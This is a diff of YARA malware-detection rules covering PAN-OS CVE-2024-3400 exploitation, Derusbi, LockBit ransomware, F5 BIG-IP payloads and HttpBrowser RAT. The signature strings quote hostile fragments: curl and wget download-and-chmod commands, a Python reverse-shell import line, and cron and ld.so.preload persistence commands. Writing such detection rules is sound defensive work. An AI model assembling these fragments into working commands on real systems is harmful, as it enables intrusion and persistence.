-rule SIGNATURE_BASE_SUSP_LNX_Base64_Download_Exec_Apr24 : SCRIPT
+rule SIGNATURE_BASE_VULN_Keepass_DB_Brute_Forcible : FILE
 {
 	meta:
-		description = "Detects suspicious base64 encoded shell commands used for downloading and executing further stages"
-		author = "Paul Hager"
-		id = "df8dddef-3c49-500c-abc8-7f7de5aa69ae"
-		date = "2024-04-18"
-		modified = "2024-04-24"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L48-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90b7781812b4078550b0d66ba020b3bb0a8217f2de03492af98db6c619f31929"
-		score = 75
+		description = "Detects KeePass .kdbx password stores, which could be brute forced to steal the credentials. With AES-KDF and less than 65536 iterations the cracking speed with a single GPU is 20k/s, for the old default of 6.000 iterations it's 200k/s. Best remediation is to change the key derivative function to Argon2d and delete all older versions of the .kdbx"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b1a86e03-b3d1-5abc-9287-a4846451caff"
+		date = "2023-07-20"
+		modified = "2023-12-05"
+		reference = "https://keepass.info/help/base/security.html#secdictprotect"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_keepass_brute_forcible.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14460f7d4976a3bbd6de2f7cfccfbfec35eb780ab762396a6490669ddde59ce8"
+		score = 60
 		quality = 85
-		tags = "SCRIPT"
+		tags = "FILE"
 
 	strings:
-		$sa1 = "curl http" base64
-		$sa2 = "wget http" base64
-		$sb1 = "chmod 777 " base64
-		$sb2 = "/tmp/" base64
+		$keepass_magic = { 03 D9 A2 9A 67 FB 4B B5 }
+		$below_65536_rounds = { 06 08 00 ?? ?? 00 00 00 00 00 00 07 10 00 }
 
 	condition:
-		1 of ($sa*) and all of ($sb*)
+		$keepass_magic at 0 and $below_65536_rounds at 108
 }
-rule SIGNATURE_BASE_SUSP_PY_Import_Statement_Apr24_1
+rule SIGNATURE_BASE_MAL_RANSOM_LNX_Macos_Lockbit_Apr23_1 : FILE
 {
 	meta:
-		description = "Detects suspicious Python import statement and socket usage often found in Python reverse shells"
+		description = "Detects LockBit ransomware samples for Linux and macOS"
 		author = "Florian Roth"
-		id = "8e05f9a1-40a8-5d01-9e45-8779b0ff7a45"
-		date = "2024-04-15"
-		modified = "2024-04-24"
-		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L67-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5c199d9c3e449ca282f0ca91c94ac783709299b3489f7cec38177a2f843b504"
-		score = 65
+		id = "c01cb907-7d30-5487-b908-51f69ddb914c"
+		date = "2023-04-15"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/malwrhunterteam/status/1647384505550876675?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lockbit_lnx_macos_apr23.yar#L2-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d838e8b207b97d7c335dc4066de2c6dc87f7adc9cac31742677edbe85386cf7"
+		score = 85
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "0a2bffa0a30ec609d80591eef1d0994d8b37ab1f6a6bad7260d9d435067fb48e"
+		hash2 = "9ebcbaf3c9e2bbce6b2331238ab584f95f7ced326ca4aba2ddcc8aa8ee964f66"
+		hash3 = "a405d034c01a357a89c9988ffe8a46a165915df18fd297469b2bcaaf97578442"
+		hash4 = "c9cac06c9093e9026c169adc3650b018d29c8b209e3ec511bbe34cbe1638a0d8"
+		hash5 = "dc3d08480f5e18062a0643f9c4319e5c3f55a2e7e93cd8eddd5e0c02634df7cf"
+		hash6 = "e77124c2e9b691dbe41d83672d3636411aaebc0aff9a300111a90017420ff096"
+		hash7 = "0be6f1e927f973df35dad6fc661048236d46879ad59f824233d757ec6e722bde"
+		hash8 = "3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79"
 
 	strings:
-		$x1 = "import sys,socket,os,pty;s=socket.socket("
+		$x1 = "restore-my-files.txt" ascii fullword
+		$s1 = "ntuser.dat.log" ascii fullword
+		$s2 = "bootsect.bak" ascii fullword
+		$s3 = "autorun.inf" ascii fullword
+		$s4 = "lockbit" ascii fullword
+		$xc1 = { 33 38 36 00 63 6D 64 00 61 6E 69 00 61 64 76 00 6D 73 69 00 6D 73 70 00 63 6F 6D 00 6E 6C 73 }
+		$xc2 = { 6E 74 6C 64 72 00 6E 74 75 73 65 72 2E 64 61 74 2E 6C 6F 67 00 62 6F 6F 74 73 65 63 74 2E 62 61 6B }
+		$xc3 = { 76 6D 2E 73 74 61 74 73 2E 76 6D 2E 76 5F 66 72 65 65 5F 63 6F 75 6E 74 00 61 2B 00 2F 2A }
+		$op1 = { 84 e5 f0 00 f0 e7 10 40 2d e9 2e 10 a0 e3 00 40 a0 e1 ?? fe ff }
+		$op2 = { 00 90 a0 e3 40 20 58 e2 3f 80 08 e2 3f 30 c2 e3 09 20 98 e1 08 20 9d }
+		$op3 = { 2d e9 01 70 43 e2 07 00 13 e1 01 60 a0 e1 08 d0 4d e2 02 40 }
 
 	condition:
-		1 of them
+		( uint32be(0)==0x7f454c46 or uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and (1 of ($x*) or 3 of them ) or 2 of ($x*) or 5 of them
 }
-rule SIGNATURE_BASE_SUSP_LNX_Base64_Exec_Apr24 : SCRIPT CVE_2024_3400
+rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Apr23_1
 {
 	meta:
-		description = "Detects suspicious base64 encoded shell commands (as seen in Palo Alto CVE-2024-3400 exploitation)"
-		author = "Christian Burkard"
-		id = "2da3d050-86b0-5903-97eb-c5f39ce4f3a3"
-		date = "2024-04-18"
-		modified = "2024-04-24"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L81-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f84556970f2d90eaea89a03ae48518592f14eecd60ef4cc811988de451d5375c"
+		description = "Detects indicators found in LockBit ransomware"
+		author = "Florian Roth"
+		id = "75dc8b95-16f0-5170-a7d6-fc10bb778348"
+		date = "2023-04-17"
+		modified = "2023-12-05"
+		reference = "https://objective-see.org/blog/blog_0x75.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lockbit_lnx_macos_apr23.yar#L43-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd5bffa5571abfd1446b065d26c8c23f00fe1376d505af539c6f37356014a86f"
 		score = 75
 		quality = 85
-		tags = "SCRIPT, CVE-2024-3400"
+		tags = ""
 
 	strings:
-		$s1 = "curl http://" base64
-		$s2 = "wget http://" base64
-		$s3 = ";chmod 777 " base64
-		$s4 = "/tmp/" base64
+		$xe1 = "-i '/path/to/crypt'" xor
+		$xe2 = "http://lockbit" xor
+		$s1 = "idelayinmin" ascii
+		$s2 = "bVMDKmode" ascii
+		$s3 = "bSelfRemove" ascii
+		$s4 = "iSpotMaximum" ascii
+		$fp1 = "<html"
 
 	condition:
-		all of them
+		(1 of ($x*) or 4 of them ) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_1 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Locker_LOG_Apr23_1
 {
 	meta:
-		description = "Detects Derusbi Backdoor ELF"
-		author = "Fidelis Cybersecurity"
-		id = "c825c5d6-1c2f-5ee7-871e-4be3f41d73f7"
-		date = "2016-02-29"
-		modified = "2023-05-04"
-		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turbo_campaign.yar#L1-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61ef65a1500d3def3376a82bc376db451d202d18b03855ee279b6c01757deb2a"
+		description = "Detects indicators found in LockBit ransomware log files"
+		author = "Florian Roth"
+		id = "aa0a2393-e5a2-5151-8afb-91a9bb922179"
+		date = "2023-04-17"
+		modified = "2023-12-05"
+		reference = "https://objective-see.org/blog/blog_0x75.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lockbit_lnx_macos_apr23.yar#L69-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5f96e601150209382d3f6458863bc79768beb99b587aa8d9ba37cb2c11ef634"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "LxMain"
-		$s2 = "execve"
-		$s3 = "kill"
-		$s4 = "cp -a %s %s"
-		$s5 = "%s &"
-		$s6 = "dbus-daemon"
-		$s7 = "--noprofile"
-		$s8 = "--norc"
-		$s9 = "TERM=vt100"
-		$s10 = "/proc/%u/cmdline"
-		$s11 = "loadso"
-		$s12 = "/proc/self/exe"
-		$s13 = "Proxy-Connection: Keep-Alive"
-		$s14 = "Connection: Keep-Alive"
-		$s15 = "CONNECT %s"
-		$s16 = "HOST: %s:%d"
-		$s17 = "User-Agent: Mozilla/4.0"
-		$s18 = "Proxy-Authorization: Basic %s"
-		$s19 = "Server: Apache"
-		$s20 = "Proxy-Authenticate"
-		$s21 = "gettimeofday"
-		$s22 = "pthread_create"
-		$s23 = "pthread_join"
-		$s24 = "pthread_mutex_init"
-		$s25 = "pthread_mutex_destroy"
-		$s26 = "pthread_mutex_lock"
-		$s27 = "getsockopt"
-		$s28 = "socket"
-		$s29 = "setsockopt"
-		$s30 = "select"
-		$s31 = "bind"
-		$s32 = "shutdown"
-		$s33 = "listen"
-		$s34 = "opendir"
-		$s35 = "readdir"
-		$s36 = "closedir"
-		$s37 = "rename"
+		$s1 = " is encrypted. Checksum after encryption "
+		$s2 = "~~~~~Hardware~~~~"
+		$s3 = "[+] Add directory to encrypt:"
+		$s4 = "][+] Launch parameters: "
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Kernelmodule_1 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Forensicartifacts_Apr23_1
 {
 	meta:
-		description = "Detects Derusbi Backdoor ELF Kernel Module"
-		author = "Fidelis Cybersecurity"
-		id = "98196ffc-8a6f-5edc-a688-eeb449410b72"
-		date = "2016-02-29"
-		modified = "2023-05-04"
-		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turbo_campaign.yar#L51-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fab37e2dbe05c694da6e428aa922747b276c2827cbbd2b6c8002f0cc30c2870c"
+		description = "Detects forensic artifacts found in LockBit intrusions"
+		author = "Florian Roth"
+		id = "e716030c-ee78-51dc-919c-cf59e93da976"
+		date = "2023-04-17"
+		modified = "2023-12-05"
+		reference = "https://objective-see.org/blog/blog_0x75.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lockbit_lnx_macos_apr23.yar#L86-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "81021f8c9aed17c007d7329a598c644a706fa9750818c8974984eefcba8d06c2"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "__this_module"
-		$s2 = "init_module"
-		$s3 = "unhide_pid"
-		$s4 = "is_hidden_pid"
-		$s5 = "clear_hidden_pid"
-		$s6 = "hide_pid"
-		$s7 = "license"
-		$s8 = "description"
-		$s9 = "srcversion="
-		$s10 = "depends="
-		$s12 = "vermagic="
-		$s13 = "current_task"
-		$s14 = "sock_release"
-		$s15 = "module_layout"
-		$s16 = "init_uts_ns"
-		$s17 = "init_net"
-		$s18 = "init_task"
-		$s19 = "filp_open"
-		$s20 = "__netlink_kernel_create"
-		$s21 = "kfree_skb"
+		$x1 = "/tmp/locker.log" ascii fullword
+		$x2 = "Executable=LockBit/locker_" ascii
+		$xc1 = { 54 6F 72 20 42 72 6F 77 73 65 72 20 4C 69 6E 6B 73 3A 0D 0A 68 74 74 70 3A 2F 2F 6C 6F 63 6B 62 69 74 }
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		1 of ($x*)
 }
-rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation_1 : FILE
+rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_1 : FILE
 {
 	meta:
-		description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
-		author = "Fidelis Cybersecurity"
-		id = "068b7bea-853d-57e8-a9fe-8b451dbc7582"
-		date = "2016-02-29"
-		modified = "2023-12-05"
-		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turbo_campaign.yar#L85-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adbdccea9ea7aefcca18d659c027a49e7e2e053873b77ddaf369203b3e301033"
-		score = 75
+		description = "Detects indicators of obfuscation in Windows Batch files"
+		author = "Florian Roth"
+		id = "801e7efc-2c31-5590-afcd-9e11072c9c65"
+		date = "2024-07-12"
+		modified = "2024-07-12"
+		reference = "https://x.com/0xToxin/status/1811656147943752045"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/susp_bat_obfusc_jul24.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "683f4651eb8c5b74eca16e7f97c5c44f0d70f045ea49f1f3726cb6975aba2ab9"
+		score = 70
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+		$s1 = "&&set "
 
 	condition:
-		uint32(0)==0x464C457F and any of them
+		filesize <300KB and uint32(0)==0x20746573 and $s1 in (0..32)
 }
-rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Linux_Strings_1 : FILE
+rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_2 : FILE
 {
 	meta:
-		description = "Detects Derusbi Backdoor ELF Strings"
-		author = "Fidelis Cybersecurity"
-		id = "06717cc9-678d-5912-a671-65605b9c9968"
-		date = "2016-02-29"
-		modified = "2023-12-05"
-		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turbo_campaign.yar#L98-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b54b406a562247d4c3d4a9c4d1b7584bdcecfe5b6c76867c04770e016eeb8c9a"
-		score = 75
-		quality = 83
+		description = "Detects indicators of obfuscation in Windows Batch files"
+		author = "Florian Roth"
+		id = "999cd365-2862-5618-b0b6-ee45dea1e9cf"
+		date = "2024-07-12"
+		modified = "2024-07-12"
+		reference = "https://x.com/0xToxin/status/1811656147943752045"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/susp_bat_obfusc_jul24.yar#L17-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "729ec93d180bf39c146c3fd847655340428abc3231b556ca51d3ca68825e7c3e"
+		score = 70
+		quality = 85
 		tags = "FILE"
 
 	strings:
-		$a1 = "loadso" wide ascii fullword
-		$a2 = "\nuname -a\n\n" wide ascii
-		$a3 = "/dev/shm/.x11.id" wide ascii
-		$a4 = "LxMain64" wide ascii nocase
-		$a5 = "# \\u@\\h:\\w \\$ " wide ascii
-		$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
-		$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
-		$b3 = "ret %d" wide fullword
-		$b4 = "uname -a\n\n" wide ascii
-		$b5 = "/proc/%u/cmdline" wide ascii
-		$b6 = "/proc/self/exe" wide ascii
-		$b7 = "cp -a %s %s" wide ascii
-		$c1 = "/dev/pts/4" wide ascii fullword
-		$c2 = "/tmp/1408.log" wide ascii fullword
+		$s1 = "&&set "
 
 	condition:
-		uint32(0)==0x464C457F and ((1 of ($a*) and 4 of ($b*)) or (1 of ($a*) and 1 of ($c*)) or 2 of ($a*) or all of ($b*))
+		filesize <300KB and #s1>30 and uint16( filesize -2)==0x0a0d and uint8( filesize -3)==0x25
 }
-rule SIGNATURE_BASE_Apt_Win_Exe_Trojan_Derusbi_1 : FILE
+rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_3 : FILE
 {
 	meta:
-		description = "Detects Derusbi Backdoor Win32"
-		author = "Fidelis Cybersecurity"
-		id = "6e7fecfa-f801-59b2-a394-df4c368011b7"
-		date = "2016-02-29"
-		modified = "2023-12-05"
-		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turbo_campaign.yar#L130-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "02fb4da724b257aef0ec0fecfe5b7a25a23fe4dd5baae0ddd2d21350b9af34e9"
-		score = 75
-		quality = 83
+		description = "Detects indicators of obfuscation in Windows Batch files"
+		author = "Florian Roth"
+		id = "a484ed03-8588-55e7-9674-b1208e14eb3f"
+		date = "2024-07-12"
+		modified = "2024-07-12"
+		reference = "https://x.com/0xToxin/status/1811656147943752045"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/susp_bat_obfusc_jul24.yar#L35-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ecbe7850349f0368620ff4294e5d0ca277983799eed510f8bf8abe4d4c192197"
+		score = 70
+		quality = 85
 		tags = "FILE"
 
 	strings:
-		$sa_4 = "HOST: %s:%d"
-		$sa_6 = "User-Agent: Mozilla"
-		$sa_7 = "Proxy-Connection: Keep-Alive"
-		$sa_8 = "Connection: Keep-Alive"
-		$sa_9 = "Server: Apache"
-		$sa_12 = "ZwUnloadDriver"
-		$sa_13 = "ZwLoadDriver"
-		$sa_18 = "_time64"
-		$sa_19 = "DllRegisterServer"
-		$sa_20 = "DllUnregisterServer"
-		$sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 }
-		$sb_1 = "PCC_CMD_PACKET"
-		$sb_2 = "PCC_CMD"
-		$sb_3 = "PCC_BASEMOD"
-		$sb_4 = "PCC_PROXY"
-		$sb_5 = "PCC_SYS"
-		$sb_6 = "PCC_PROCESS"
-		$sb_7 = "PCC_FILE"
-		$sb_8 = "PCC_SOCK"
-		$sc_1 = "bcdedit -set testsigning" wide ascii
-		$sc_2 = "update.microsoft.com" wide ascii
-		$sc_3 = "_crt_debugger_hook" wide ascii
-		$sc_4 = "ue8G5" wide ascii
-		$sd_2 = "\\\\.\\pipe\\%s" wide ascii
-		$sd_3 = ".dat" wide ascii
-		$sd_4 = "CONNECT %s:%d" wide ascii
-		$sd_5 = "\\Device\\" wide ascii
-		$se_1 = "-%s-%04d" wide ascii
-		$se_2 = "-%04d" wide ascii
-		$se_5 = "2.03" wide ascii
+		$s1 = "% \\\\%"
+		$s2 = { 3D ?? 26 26 73 65 74 20 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($sa_*) or ((8 of ($sa_*)) and ((5 of ($sb_*)) or (3 of ($sc_*)) or ( all of ($sd_*)) or (1 of ($sc_*) and all of ($se_*)))))
+		filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_VUL_Jquery_Fileupload_CVE_2018_9206 : CVE_2018_9206
+rule SIGNATURE_BASE_MAL_Payload_F5_BIG_IP_Exploitations_Jul20_1 : CVE_2020_5902 FILE
 {
 	meta:
-		description = "Detects JQuery File Upload vulnerability CVE-2018-9206"
+		description = "Detects code found in report on exploits against CVE-2020-5902 F5 BIG-IP vulnerability by NCC group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "20bac44c-0e5a-5561-9fd8-a71cd2d8590a"
-		date = "2018-10-19"
+		id = "57705ba1-c0ad-5ca6-8539-44d9da6b5942"
+		date = "2020-06-07"
 		modified = "2023-12-05"
-		reference = "https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_jquery_fileupload_cve_2018_9206.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef7cc13130c60ece346802cb6efec96065f84407fb84b89703628fdf32c0ee53"
+		reference = "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_f5_bigip_expl_payloads.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3651081bb09452d80cba9f673a7b61c8ee2f47a12fb64d975eb63867688ee3b"
 		score = 75
 		quality = 85
-		tags = "CVE-2018-9206"
+		tags = "CVE-2020-5902, FILE"
 
 	strings:
-		$s1 = "error_reporting(E_ALL | E_STRICT);" fullword ascii
-		$s2 = "require('UploadHandler.php');" fullword ascii
-		$s3 = "$upload_handler = new UploadHandler();" fullword ascii
+		$x1 = "rm -f /etc/ld.so.preload" ascii fullword
+		$x2 = "echo \"* * * * * $LDR" ascii
+		$x3 = ".sh -o /tmp/in.sh" ascii
+		$x4 = "chmod a+x /etc/.modules/.tmp" ascii
+		$x5 = "chmod +x /var/log/F5-logcheck"
+		$s1 = "ulimit -n 65535" ascii fullword
+		$s2 = "-s /usr/bin/wget " ascii
+		$s3 = ".sh | sh" ascii
 
 	condition:
-		all of them
+		filesize <300KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Fidelis_Advisory_Purchase_Order_Pps
+rule SIGNATURE_BASE_Httpbrowser_RAT_Dropper_Gen1 : FILE
 {
 	meta:
-		description = "Detects a string found in a malicious document named Purchase_Order.pps"
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "205c4cda-6874-5455-8eb9-b63fb09b13fd"
-		date = "2015-06-09"
+		id = "2e347024-ac5f-5e8c-a8b0-53eaa9a03979"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ZjJyti"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fidelis_phishing_plain_sight.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45cfee6413accff36a39ced861a29c611d6efe24e1ca87f17467106f8565642b"
-		score = 75
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L8-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "927821e974cff6cd4d15b19bf4d0486abc57725ecdf6f00755dd4f912fbf82d1"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
+		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
+		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
+		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
+		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
+		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
+		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
 
 	strings:
-		$s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
+		$x1 = "1001=cmd.exe" fullword ascii
+		$x2 = "1003=ShellExecuteA" fullword ascii
+		$x3 = "1002=/c del /q %s" fullword ascii
+		$x4 = "1004=SetThreadPriority" fullword ascii
+		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b }
+		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 }
+		$op2 = { 8b 45 0c 83 38 00 0f 84 97 }
+		$op3 = { 8b 45 0c 83 38 00 0f 84 98 }
+		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d }
+		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of ($x*) and 1 of ($op*)
 }
-rule SIGNATURE_BASE_Fidelis_Advisory_Cedt370
+rule SIGNATURE_BASE_Httpbrowser_RAT_Sample1 : FILE
 {
 	meta:
-		description = "Detects a string found in memory of malware cedt370r(3).exe"
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b5ebf2d7-e3e4-5b3b-a082-417da9c7fda6"
-		date = "2015-06-09"
+		id = "8babf47f-006c-5001-9753-08ac08f5e861"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ZjJyti"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fidelis_phishing_plain_sight.yar#L16-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1070d3c63a7091c0982e67134f9dc3cd790bb0b5c2ac08f3a00e3b97ef53d64b"
-		score = 75
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L50-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "746df577e952e0354342a48fe9f1650e63e3470902e7c5bba36d36fa34ea2bff"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
+		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
 
 	strings:
-		$s0 = "PO.exe" ascii fullword
-		$s1 = "Important.exe" ascii fullword
-		$s2 = "&username=" ascii fullword
-		$s3 = "Browsers.txt" ascii fullword
+		$s0 = "update.hancominc.com" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and $s0
 }
